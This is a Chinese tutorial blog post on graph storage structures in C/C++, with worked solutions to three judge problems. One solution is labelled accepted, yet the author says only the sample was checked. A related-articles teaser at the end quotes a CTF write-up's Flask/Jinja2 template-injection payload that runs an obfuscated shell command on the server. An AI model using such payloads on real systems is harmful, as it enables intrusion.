图的存储(邻接矩阵,边集数组,邻接表,链式前向星)
目录
🌼图的存储
(1)邻接矩阵
(2)边集数组
(3)邻接表
(4)链式前向星
😀刷题
🐍最大节点
🐍有向图 D 和 E
🐍奶牛排序
🌼图的存储
(1)邻接矩阵
adjacency matrix(邻接矩阵)
#define MaxVnum 100 // 节点数最大值
typedef char VexType; // 节点的数据类型, 根据需要定义
typedef int EdgeType; // 边上权值的数据类型; 不带权的图, 为0 / 1
结构体
typedef struct {VexType Vex[MaxVnum]; // 节点类型 + 一维数组存储节点EdgeType Edge[MaxVnum][MaxVnum]; // 边上权值类型 + 邻接矩阵存储边int vexnum, edgenum; // 节点数, 边数
} AMGraph;
算法
void CreateAMGraph(AMGraph &G) { // 引用传递, 直接修改对象本身// AMGraph 包含一维节点数组, 二维邻接矩阵数组, 节点数, 边数int i, j;VexType u, v; // 节点类型cin >> G.vexnum;cin >> G.edgenum;for (int i = 0; i < G.vexnum; i++) cin >> G.Vex[i]; // 输入节点for (int i = 0; i < G.vexnum; i++)for (int j = 0; j < G.vexnum; j++) G.Edge[i][j] = 0; // 初始化邻接矩阵所有值为 0while(G.edgenum--) {cin >> u >> v; // 'a' 'b' ...i = locatevex(G, u); // 查找节点 u 对应下标j = locatevex(G, v); // 查找节点 v 对应下标if(i != -1 && j != -1)G.Edge[i][j] = G.Edge[j][i] = 1; // 无向图两点连通}
}
优点
(1)快速判断两点间,是否有边(Edge[i][j] == 1 有边)
(2)快速计算各节点的度
(无向图,邻接矩阵,第 i 行元素之和,就是节点 i 的 度)
(有向图,邻接矩阵,第 i 行的和为 出度,第 i 列的和为 入度)
缺点
(1)不利于增删节点(需要改变邻接矩阵大小,效率低)
(2)不利于访问邻接点
访问第 i 个点所有邻接点时,需要遍历第 i 行,时间复杂度 O(n)
访问所有点邻接点,时间复杂度 O(n^2)
(3)空间复杂度高,O(n^2)
初始可以这样定义👇(省去节点信息的查询步骤)
int M[m][n] = { {0,1,0,1}, {1,0,1,1}, {0,1,0,1}, {1,1,1,0} };
直接定义一个邻接矩阵
(2)边集数组
数组存储每条边的起点和终点,以下是网的结构体定义(增加了一个权值域)
适用于 最小生成树 kruskal算法
struct Edge {int u;in v;int w;
} e[N*N];
(3)邻接表
邻接表,包括节点和邻接点
节点
typedef struct VexNode { // 定义节点类型 VexType data; // VexType为节点信息的数据类型, 根据需要定义AdjNode *first; // 指向第1个邻接点
}VexNode;
邻接点
typedef struct AdjNode { // 定义邻接点类型int v; // 下标vstruct AdjNode *next; // 指向下一个邻接点
}AdjNode;
邻接表结构体
typedef struct {VexNode Vex[MaxVnum]; // 节点表int vexnum, edgenum; // 节点数, 边数
} ALGraph;
算法代码
void CreateALGraph(ALGraph &G) { // 创建有向图的邻接表VexType u, v; // 节点类型cout << "请输入节点数和边数:" << endl;cin >> G.vexnum >> G.edgenum;cout << "请输入节点信息:" << endl;for (int i = 0; i < G.vexnum; i++) // 节点数 vexnumcin >> G.Vex[i].data;for (int i = 0; i < G.vexnum; i++) G.Vex[i].first = NULL; // 下一个邻接点置空cout << "请依次输入每条边的两个节点 u, v" << endl;while (G.edgenum--) {cin >> u >> v;int i = locatevex(G, u); // 查找节点 u 的下标int j = locatevex(G, v); // 查找节点 v 的下标if (i != -1 && j != -1)insertedge(G, i, j); // 插入边// 无向图多插入 1 次}
}
插入代码
void insertedge(ALGraph &G, int i, int j) // 头插法(插入一条边)
{AdjNode *s; // 新的邻接点s = new AdjNode; // 开辟内存// i 和 j相连, 所以是向 j 出边s->v = j; // 邻接点下标s->next = G.Vex[i].first; // 新的邻接点的下一个, 是原来节点 i 的下一个G.Vex[i].first = s; // 原来节点 i 的下一个, 变成邻接点
}
邻接表优点
(1)便于增删节点
(2)便于访问所有邻接点( 时间复杂度O(n + e) )
(3)空间复杂度低( 节点表 n 个空间 ,无向图邻接点表 n + 2e 空间,有向图临界点表 n + e 空间,所以空间复杂度O(n + e) ),而邻接矩阵空间复杂度 O(n^2)
存储图,稀疏图 -> 邻接表,稠密图 -> 邻接矩阵
缺点
(1)不利于判断两节点是否有边(需要遍历该节点后,整条链表)
(2)不利于计算各节点的度
无向图为该节点后单链表节点数
有向图(邻接表)的出度为 单链表节点数,但不易求入度
有向图(逆邻接表)的入度为 单链表节点数,但不易求出度
总体上,邻接表,访问同一节点所有关联边时,仅需访问该点后单链表,这是一大优势
(4)链式前向星
链式前向星——最完美图解-腾讯云开发者社区-腾讯云 (tencent.com)
(👆算法训练营原文)
链式前向星--最通俗易懂的讲解-CSDN博客
链式前向星,即静态链表,边集数组 + 邻接表
可快速访问一个节点的所有邻接点
(1)边集数组:edge[i],第 i 条边
(2)头节点数组:head[k],存储以 顶点 k 为起点的第 1 条边的下标(edge[i] 中的 i,即第几条边)
结构体
struct node {int to, next, w;}edge[maxe]; // 边集数组, 对边数的设置要比 maxn*maxn大int head[maxn]; // 头节点数组
next
与edge[cnt](第 cnt 条边)起点相同的上一条边的编号(之所以是上一条,不是下一条,因为邻接表采取头插法 -- 逆序)
添加边 u,v,w
void add(int u, int v, int w)
{// 第 cnt 条边edge[cnt].to = v; // 终点edge[cnt].w = w; // 权值edge[cnt].next = head[u]; // -1时没有上一条边head[u] = cnt++; // 先赋值, 后自增// 起点 u 为顶点的, 第一条边是 cnt, 然后 cnt++, 进入下一条边
}
有向图:一次 add(u, v, w)
无向图:两次 add(u, v, w) 和 add(v, u, w)
访问一个节点 u 所有邻接点
当 edge[i].next != -1,说明还有邻接点
for (int i = head[u]; i != -1; i = edge[i].next)
{int v = edge[i].to; // 顶点 u 的邻接点int w = edge[i].w; // u-v 这条边的权值
}
特点
(1)类似邻接表,头插法(倒序)进行链接 --> 边的输入顺序不同,创建的链式前向星也不同
(2)无向图的话,每输入一条边,需要添加 2 条边,又因为边从 0 开始,比如 edge[0]和edge[1],edge[2]和edge[3],4和5等等(即 0000和0001,0010和0011,0100和0101),此时,两条反向边,可以互相异或 1 得到另一条边,i 和 i^1
这个特性在网络流中较为常用(异或运算,不需要额外的存储 / 操作,节省空间和时间)
(3)整合了边集数组和邻接表,属于静态链表,不需要频繁创建节点
😀刷题
🐍最大节点
P3916 图的遍历 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn)
思路
本题,求,从节点 v 出发,能到达的最大节点 u
建立原图的反向图,即 add(u, v) 变成 add(v, u)
然后从节点 n 开始递归,一直到节点 1
对于当前最大节点 u,凡是能到达的节点 v,v能到达的最大节点就是 u
解释
结合图理解👇
节点 1 的第 1 条边是 edge[0],边的编号为 0,0号边即 节点1 到 节点2,距离(权值)为 5 的这条边,这条边的终点是 2(to),权值是 5(w),没有上一条边(next == -1)
if (ans[v]) return;
两种可能的解释👆
(1)已经得到最远的点,避免后续多余的计算
(2)已经计算过的点,因为是反向的,此时再计算,可能会把无法到达的点算进去,导致结果错误
AC 代码
#include<iostream>
#include<cstdio> // scanf()
#include<cstring> // memset()
using namespace std;const int MAX = 100010;
int n, m, cnt = 0, head[MAX], ans[MAX];struct node
{int to, next;
}e[MAX];// 添加 u 到 v 的边
void add(int u, int v)
{e[cnt].to = v; // 终点e[cnt].next = head[u]; // 节点 u 的第一条边, 就是它的上一条边head[u] = cnt++; // 先赋值, 再自增
}// 递归遍历所有邻接边
// 注意是倒序反向遍历, 所以 u 是最远可到达的点
void dfs(int u, int v)
{if (ans[v]) return; // 已经得到最远点ans[v] = u; // 最远的点// 递归遍历所有邻接边for (int i = head[v]; i != -1; i = e[i].next) { // head[v] 节点 v 的第1条边int v1 = e[i].to; // 邻接点dfs(u, v1); // 最大节点 u 所能到达的点 v1}
}int main()
{scanf("%d%d", &n, &m);// 初始化 头节点 数组memset(head, -1, sizeof(head));// 添加反向边int u, v;while(m--) {scanf("%d%d", &u, &v);add(v, u);}// 倒序 dfs 递归for (int i = n; i >= 1; --i)dfs(i, i);// 输出for (int i = 1; i <= n; ++i)cout << ans[i] << " ";return 0;
}
🐍有向图 D 和 E
From D to E and Back - UVA 11175 - Virtual Judge (vjudge.net)
思路
把 D 的边缩成点,D 的边对应 E 的点
如果D存在边 i (u, v),j (v, w),那么 E 存在点 i, j,以及一条 i 到 j 的边
因为 D 和 E,都是有向图(关键)
所以, 若 D 中,边 i, j 有公共端点,那么 i 连接的边,j 一定也连接
换言之,E 中,点 i, j 有公共连接点 k,那么,此时如果 i 有邻接点 k2,j 必定也邻接 k2(因为 E 是有向图)
即,E中,点 i 和 点 k1 有边,点 j 和 k2 也有边,此时若点 i 和 k2 有边,j 必定也和 k2 有边
解释
第一个
宏定义
第二个
REP(i,b,e)
REP后要紧跟着 (i,b,e),不要加个空格,否则报错:i was not defined in this scope
第三个
flag1, flag2 的声明,应该放在 i, j 两重循环内,而不是放在 check() 里
因为 return false,是针对相同的 i, j 去遍历每一个 k 的
第四个
每组测试,读入的是 m,边数
第五个
注意Yes,No之前有空格,直接复制题目会错
第六个
为什么用邻接矩阵存储呢,需要不断判断两个两个节点之间是否有边
AC 代码
远程 OJ 崩了,样例过了,就当过了吧
#include<bits/stdc++.h>
#define REP(i,b,e) for(int i=(b); i<(e); ++i)
using namespace std;const int N = 310;
int g[N][N], n, m; // g 邻接矩阵bool check()
{REP(i, 0, n) // 0~n-1REP(j, 0, n) { //0~n-1int flag1 = 0, flag2 = 0;REP(k, 0, n) { // 0~n-1if (g[i][k] && g[j][k]) flag1 = 1; // 共同邻接点if (g[i][k] ^ g[j][k]) flag2 = 1; // 一方有, 一方没有}if (flag1 && flag2) return false;}return true;
}int main()
{int T, cnt = 1;cin >> T;int x, y;while (T--) {memset(g, 0, sizeof(g)); // 初始化邻接矩阵cin >> n >> m;REP(i, 0, m) { // 读取 m 条边cin >> x >> y;g[x][y] = 1;}if (check())printf("Case #%d: Yes\n", cnt++);elseprintf("Case #%d: No\n", cnt++);}return 0;
}
🐍奶牛排序
Ranking the Cows - POJ 3275 - Virtual Judge (vjudge.net)
思路
样例
奶牛理解为有向图的节点,关系理解为边
对于 n 个节点的图,两两之间的关系有, 1 + ... + n-1 种,即 n(n-1) / 2
样例中 5 个节点,就有 10 种关系
然后根据给出的 5 条边,又能间接得到另外的 2 条边
所以10 - (5 + 3)= 3
还需要知道 3 种关系
位运算
那么,如何得到已知的关系是 7 种呢
每个节点用一个 bitset 表示👇目录中 2.4.7 bitset
STL入门 + 刷题(下)_千帐灯无此声的博客-CSDN博客
bitset<maxn>p[maxn]; // maxn表示位数, p[] 二进制数组
初始化:p[i][i] = 1,表示自身可达(即自己和自己有关系)
输入
输入 2 1 (其他输入同理)
即 2 -> 1 的有向边,2 可达 1,那么 p[2][1] = 1,p[2] = 000110👇
右边第 0 位开始,第 2 位为 1,表示自身可达,第 1 位为 1,即节点 2 可达 节点 1
根据已知点找其他
if (p[i][k])p[i] |= p[k];// 等价于if (p[i][k])p[i] = p[i] | p[k];
按位或:同时为 0 才为 0
可以间接找到每个点与其他点的关系👇
(比如节点 a 可达节点 b,b 可达 c,那么间接得到 a 也可达 c)
计算结果
两两间,总的关系数:n(n-1) / 2
用 ans 累计每个 bitset 数组 p[i] 中 1 的个数
由于 ans 中包括 n 种自己到自己的关系
所以已知关系为 ans - n
输出答案为 总数 - 已知数 =
n(n-1) / 2 - ans + n
解释
看懂代码后,有个疑问,如果最后还差 5 个关系,是否存在,只需要再调查 2 个关系,就能间接得到剩下 3 个关系的可能呢(可能是出题者结果导向,或者我的理解有偏差)
👆如果按这个意思,那么题目会复杂很多👆
坑
编号从 1 开始,所以如果你所有 for 循环都是 0 ~ n-1,就会 Wrong Answer
AC 代码
#include<iostream> // 编号 1 开始
#include<bitset>
using namespace std;const int N = 1010;
// N 表示长度为 N 的位集合
bitset<N> p[N]; // 数组 p 的每个元素都是 bitset<N> 类型, 即一个二进制数int main()
{int n, m, x, y, ans = 0;cin >> n >> m;// 初始化 bitset 数组for (int i = 1; i <= n; ++i)p[i][i] = 1; // 自己和自己有联系while (m--) {cin >> x >> y;p[x][y] = 1; // 节点 x 可达 y}// 间接求其他关系for (int i = 1; i <= n; ++i)for (int j = 1; j <= n; ++j) if (p[j][i])p[j] = p[j] | p[i];// 输出for (int i = 1; i <= n; ++i)ans += p[i].count(); // 统计每个 bitset 中 1 的个数cout << n*(n-1)/2 - ans + n << endl;return 0;
}
除了常规意义的 邻接矩阵,边集数组,邻接表,链式前向星(存储图)外
我们还可以考虑 bitset,用二进制来存图
相关文章:
图的存储(邻接矩阵,边集数组,邻接表,链式前向星)
目录 🌼图的存储 (1)邻接矩阵 (2)边集数组 (3)邻接表 (4)链式前向星 😀刷题 🐍最大节点 🐍有向图 D 和 E 🐍奶牛…...
Linux 基础知识整理(二)
Linux系统目录结构 Linux采用的是树型结构。最上层是根目录,其他的所有目录都是从根目录出发而生成的。微软的DOS和windows也是采用树型结构,但是在DOS和 windows中这样的树型结构的根是磁盘分区的盘符,有几个分区就有几个树型结构ÿ…...
2024年值得关注的8个未来数据库
2024年值得关注的8个未来数据库 关系型数据库管理系统在数据库技术领域占据主导地位已经多年了。当SQL在1970年代首次出现时,关系型数据库管理系统的使用和受欢迎程度迅速提升。很快,MySQL成为了大多数公司和团队首选的数据库。 然而,2023年…...
C++新经典模板与泛型编程:将trait类模板用作模板参数
将trait类模板用作模板参数 template<typename T> struct SumFixedTraits;template<> struct SumFixedTraits<char> {using sumT int;static sumT initValue() {return 0;} };template<> struct SumFixedTraits<int> {using sumT __int64;sta…...
BUUCTF-[GYCTF2020]FlaskApp flask爆破pin
这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…...
web前端实现LED功能、液晶显示时间、数字
MENU 效果演示html部分JavaScript部分css部分 效果演示 html部分 <div id"app"><!-- 页面 --><div class"time-box"><!-- 时 --><div class"house-box"><bit-component :num"houseTem"></bit…...
YOLOv8改进 | 2023 | DiverseBranchBlock多元分支模块(有效涨点)
一、本文介绍 本文带来的改进机制是YOLOv8模型与多元分支模块(Diverse Branch Block)的结合,Diverse Branch Block (DBB) 是一种用于增强卷积神经网络性能的结构重新参数化技术。这种技术的核心在于结合多样化的分支,这些分支具有…...
Spring Boot 3 整合 Spring Cache 与 Redis 缓存实战
🚀 作者主页: 有来技术 🔥 开源项目: youlai-mall 🍃 vue3-element-admin 🍃 youlai-boot 🌺 仓库主页: Gitee 💫 Github 💫 GitCode 💖 欢迎点赞…...
kubeadm 安装k8s1.28.x 底层走containerd 容器
1. k8s1.28.x 的概述 1.1 k8s 1.28.x 更新 Kubernetes v1.28 是 2023 年的第二个大版本更新,包含了 46 项主要的更新。 而今年发布的第一个版本 v1.27 有近 60 项,所以可以看出来,在发布节奏调整后, 每个 Kubernetes 版本中都会包…...
“分割“安卓用户,对标iOS,鸿蒙崛起~
近期关于**“华为于明年推出不兼容安卓的鸿蒙版本”**的消息传出,引起了业界的热议关注。自从2019年8月,美国制裁下,华为不再能够获得谷歌安卓操作系统相关付费服务,如此情况下,华为“备胎”鸿蒙操作系统一夜转正。 华…...
【Vulnhub 靶场】【hacksudo: ProximaCentauri】【简单 - 中等】【20210608】
1、环境介绍 靶场介绍:https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/ 靶场下载:https://download.vulnhub.com/hacksudo/hacksudo-ProximaCentauri.zip 靶场难度:简单 - 中等 发布日期:2021年06月08日 文件大小&…...
share pool的组成
share pool的组成 3块区域:free,library cache,row cache 通过查看v$librarycache视图,可以监控library cache的活动情况,进一步衡量share pool设置是否合理; 其中reloads列,表示对象被重新加载的次数,在一个设置合…...
应用案例 | 基于三维视觉的汽车零件自动化拧紧解决方案
Part.1 引言 随着人们生活水平的提高,汽车作为理想的代步工具,逐渐成为人们生活中不可或缺的一部分。汽车的广泛应用,大大增加了汽车制造业的负荷。因此,如何提高生产效率和汽车性能,成为汽车制造业的首要关注话题。…...
Redis server启动源码
入口main函数 src/redis.c文件main函数 int main(int argc, char **argv) {struct timeval tv;/* We need to initialize our libraries, and the server configuration. */// 初始化库 #ifdef INIT_SETPROCTITLE_REPLACEMENTspt_init(argc, argv); #endif//设置本地时间setl…...
C++基础 强制转换
目录 static_cast:static_cast(expression) const_cast dynamic_cast reinterpret_cast C 提供以下几类转换 static_cast:static_cast<type-id>(expression) tatic_cast 主要用于以下几种情况: 用于显式地将一个表达式转换为另一…...
【python、opencv】opencv仿射变换原理及代码实现
opencv仿射变换原理 仿射变换是opencv的基本知识点,主要目的是将原始图片经过仿射变换矩阵,平移、缩放、旋转成目标图像。用数学公式表示就是坐标转换。 其中x,y是原始图像坐标,u,v是变换后的图像坐标。将公式转换为…...
mac本地部署stable-diffusion
下载Homebrew /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" ①输入“1”选择中科大版本,然后输入Y(YES),直接输入开机密码(不显示)然后回车确认,开始下载 ②…...
dockers安装rabbitmq
RabbitMQ: easy to use, flexible messaging and streaming — RabbitMQhttps://www.rabbitmq.com/ Downloading and Installing RabbitMQ — RabbitMQ docker run -it --rm --name rabbitmq -p 5672:5672 -p 15672:15672 rabbitmq:3.12-management 之后参照:dock…...
07、pytest指定要运行哪些用例
官方用例 # 目录结构 | |----test_mod.py | |----testing||----test_dir.py# content of test_mod.py import pytestdef func(x):return x 1def test_mod():print("test_mod function was invoked")assert func(3) 5def test_func():print("test_func was in…...
springboot集成cxf
<?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0 http://ma…...
快速认识什么是:Kubernetes
每次谈到容器的时候,除了Docker之外,都会说起 Kubernetes,那么什么是 Kubernetes呢?今天就来一起学快速入门一下 Kubernetes 吧!希望本文对您有所帮助。 Kubernetes,一种用于管理和自动化云中容器化工作负…...
YOLOv6 学习笔记
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、YOLOv6贡献和改进二、YOLOv6核心概念三、YOLOv6架构改进四、YOLOv6重参思想五、YOLOv6的损失函数总结 前言 在计算机视觉领域,目标检测技术一直…...
paypal贝宝怎么绑卡支付
一、PayPal是什么 PayPal是一个很多国家地区通用的支付渠道,我们可以把它理解为一项在线服务,相当于美国版的支付宝。你可以通过PayPal进行汇款和收款,相比传统的电汇和西联那类的汇款方式,PayPal更加简单和容易,被很…...
活动回顾|德州仪器嵌入式技术创新发展研讨会(上海站)成功举办,信驰达科技携手TI推动技术创新
2023年11月28日,德州仪器(TI)嵌入式技术创新发展研讨会在上海顺利举办。作为TI中国第三方IDH,深圳市信驰达科技有限公司受邀参加,并设置展位,展出CC2340系列低功耗蓝牙模块及TPMS、蓝牙数字钥匙解决方案,与众多业内伙伴…...
Vue 循环走马灯
1、使用 transform: translateX(),循环将滚动内容在容器内偏移,超出容器部分隐藏; 2、避免滚动到末尾时出现空白,需要预留多几个。 3、一次循环偏移的距离scrollLoopWidth 可能受样式影响需要做些微调,比如单个item的…...
<Linux>(极简关键、省时省力)《Linux操作系统原理分析之Linux文件管理(3)》(27)
《Linux操作系统原理分析之Linux文件管理(3)》(27) 8 Linux文件管理8.6 文件管理和操作8.6.1 系统对文件的管理8.6.2 进程对文件的管理 8 Linux文件管理 8.6 文件管理和操作 8.6.1 系统对文件的管理 Linux 系统把所有打开的活动…...
【华为数据之道学习笔记】3-2 基础数据治理
基础数据用于对其他数据进行分类,在业界也称作参考数据。基础数据通常是静态的(如国家、币种),一般在业务事件发生之前就已经预先定义。它的可选值数量有限,可以用作业务或IT的开关和判断条件。当基础数据的取值发生变…...
GO设计模式——7、适配器模式(结构型)
目录 适配器模式(Adapter Pattern) 优缺点 使用场景 注意事项 代码实现 适配器模式(Adapter Pattern) 适配器模式(Adapter Pattern)是作为两个不兼容的接口之间的桥梁。将一个类的接口转化为客户希望的…...
Java实现TCP一对一通信,实现UDP群聊通信
TCP一对一通信: 实现服务端对话框: 其中可自由更改对话框的样式 import javax.swing.*; import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class QqMain extends JFrame implements ActionListener{public static void …...
Vue + Element 实现按钮指定间隔时间点击
1、业务需求 需要加一个按钮,调用第三方API,按钮十分钟之内只能点击一次,刷新页面也只能点击一次 2、思路 加一个本地缓存的时间戳,通过时间戳计算指定时间内不能点击按钮 3、实现 1)vue页面 <template>&l…...
UE Websocket笔记
参考链接 [UE4 C入门到进阶]12.Websocket网络通信 - 哔哩哔哩 包含怎么用Nodejs 写测试服务器 UE4_使用WebSocket和Json(上) - 知乎 包含Python写测试服务器 UE4_使用WebSocket和Json(下) - 知乎 示例代码 xxx.Build.cs"W…...
STM32h7 接收各种can id情况下滤波器的配置
1、接收所有数据 /* 此处id2都为0,不进行id校验,接收所有数据*/ static void CAN_Filter_Config(void){FDCAN_FilterTypeDef sFilterConfig1;/* Configure Rx filter */sFilterConfig1.IdType FDCAN_STANDARD_ID;sFilterConfig1.FilterIndex 0;sFilte…...
《深入理解计算机系统》学习笔记 - 第三课 - 浮点数
Floating Point 浮点数 文章目录 Floating Point 浮点数分数二进制示例能代表的数浮点数的表示方式浮点数编码规格化值规格化值编码示例 非规格化的值特殊值 示例IEEE 编码的一些特殊属性四舍五入,相加,相乘四舍五入四舍五入的模式二进制数的四舍五入 浮…...
总结:服务器批量处理http请求的大致流程
总结:服务器批量处理http请求的大致流程 一客户端发起请求:可以多个请求同时发送二Web服务器解析请求(如:Nginx):可以多个请求同时解析三Servlet容器接收请求(如:tomcat)…...
算法通关村第十八关-青铜挑战回溯是怎么回事
大家好我是苏麟 , 今天聊聊回溯是怎么个事 . 回溯是最重要的算法思想之一,主要解决一些暴力枚举也搞不定的问题,例如组合、分割、子集、排列,棋盘等。从性能角度来看回溯算法的效率并不高,但对于这些暴力都搞不定的算法能出结果就…...
区分node,npm,nvm
目录 一,nodejs二,npm三,nvm 区分node,npm,nvm 几年前学习前端的时候学习的就是htmlcssjs 三件套。 现在只学习这些已经不能满足需要了。 一,nodejs nodejs是编程语言javascript运行时环境。(比…...
7-2 小霸王
幼儿园的老师给几位小朋友等量的长方体橡皮泥,但有个小朋友(小霸王)觉得自己的橡皮泥少了,就从另一个小朋友那里抢了一些。请问,是哪个小霸王抢了哪个小朋友的橡皮泥? 输入格式: 测试数据有多组。对于每组…...
Linux内核上游提交完整流程及示例
参考博客文章: 向linux内核提交代码 - 知乎 一、下载Linux内核源码 通过git下载Linux内核源码,具体命令如下: git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git 实际命令及结果如下: penghaoDin…...
TS学习——快速入门
TypeScript简介 TypeScript是JavaScript的超集。它对JS进行了扩展,向JS中引入了类型的概念,并添加了许多新的特性。TS代码需要通过编译器编译为JS,然后再交由JS解析器执行。TS完全兼容JS,换言之,任何的JS代码都可以直…...
深圳锐科达风力发电广播对讲解决方案
深圳锐科达风力发电广播对讲解决方案 风力发电对讲通常是在风塔的底部与机舱室安装一键对讲终端,可以一键呼叫控制中心值班人员,结构简单,组网方便,设备可以接入局域网或广域网构成功能应急呼叫系统。 系统实现的功能࿱…...
极智芯 | 解读国产AI算力 璧仞产品矩阵
欢迎关注我,获取我的更多经验分享 大家好,我是极智视界,本文分享一下 解读国产AI算力 璧仞产品矩阵。 璧仞在国产 AI 芯领域就是 "迷" 一样的存在,你要说它在市场上的 "建树" 泛善可陈的话,它又 "赫然" 在美国芯片禁令名单中。而这一切的一…...
Echarts折线图常见问题及案例代码
前言 ECharts 是一个使用 JavaScript 实现的开源可视化库,它可以帮助用户以简单的方式创建复杂的时间序列、条形图、饼图、地图等图形。 初学者,可参考下我的另外两篇文章,从基础到深入,解读饼状图的运用。 ECharts初始案例(入门) ECharts之折线图 常见问题及案例代码 …...
javaTCP协议实现一对一聊天
我们首先要完成服务端,不然出错,运行也要先运行服务端,如果不先连接服务端,就不监听,那客户端不知道连接谁 服务端 package d21z; import java.awt.BorderLayout; import java.awt.event.ActionEvent; import java.a…...
机器学习应用 | 使用 MATLAB 进行异常检测(上)
异常检测任务,指的是检测偏离期望行为的事件或模式,可以是简单地检测数值型数据中,是否存在远超出正常取值范围的离群值,也可以是借助相对复杂的机器学习算法识别数据中隐藏的异常模式。 在不同行业中,异常检测的典型…...
Java -jar参数详解
java -jar 命令用于执行打包成可执行 JAR 文件的 Java 应用程序。在运行时,你可以通过命令行传递参数给这个应用程序。 1. -jar 参数: 说明: 指定要执行的 JAR 文件。示例:java -jar your-application.jar 2. -D 参数ÿ…...
RocksDB 在 vivo 消息推送系统中的实践
作者:vivo 互联网服务器团队 - Zeng Luobin 本文主要介绍了 RocksDB 的基础原理,并阐述了 RocksDB 在vivo消息推送系统中的一些实践,通过分享一些对 RocksDB 原生能力的探索,希望可以给使用RocksDB的读者带来启发。 一、背景 在…...
【C进阶】C程序是怎么运作的呢?-- 程序环境和预处理(上)
前言: 由于c语言的程序编译链接的这块知识点不清楚,回来复习一遍,以便于好理解c知识,我会尽快更新下一篇文章。 目录 1.程序的翻译环境和执行环境 2.翻译环境(编译链接) 编译(编译器…...
点滴生活记录1
2023/10/10 今天骑小电驴上班,带着小鸭子一起。路上的时候,我给小鸭子说,你要帮我看着点路,有危险的时候提醒我,也就刚说完没几分钟,一个没注意,直接撞到一个拦路铁墩子上,车子连人歪…...
gitea仓库迁移
(1)先安装git,再直接将源机器上的gitea文件夹复制到新机器上。这样原始数据及账号信息都还在。 (2)根据实际情况修改gitea\custom\conf\app.ini文件夹下app.ini文件的相关路径。 (3)如下命令启…...
〖大前端 - 基础入门三大核心之JS篇㊽〗- BOM特效开发
说明:该文属于 大前端全栈架构白宝书专栏,目前阶段免费,如需要项目实战或者是体系化资源,文末名片加V!作者:哈哥撩编程,十余年工作经验, 从事过全栈研发、产品经理等工作,目前在公司…...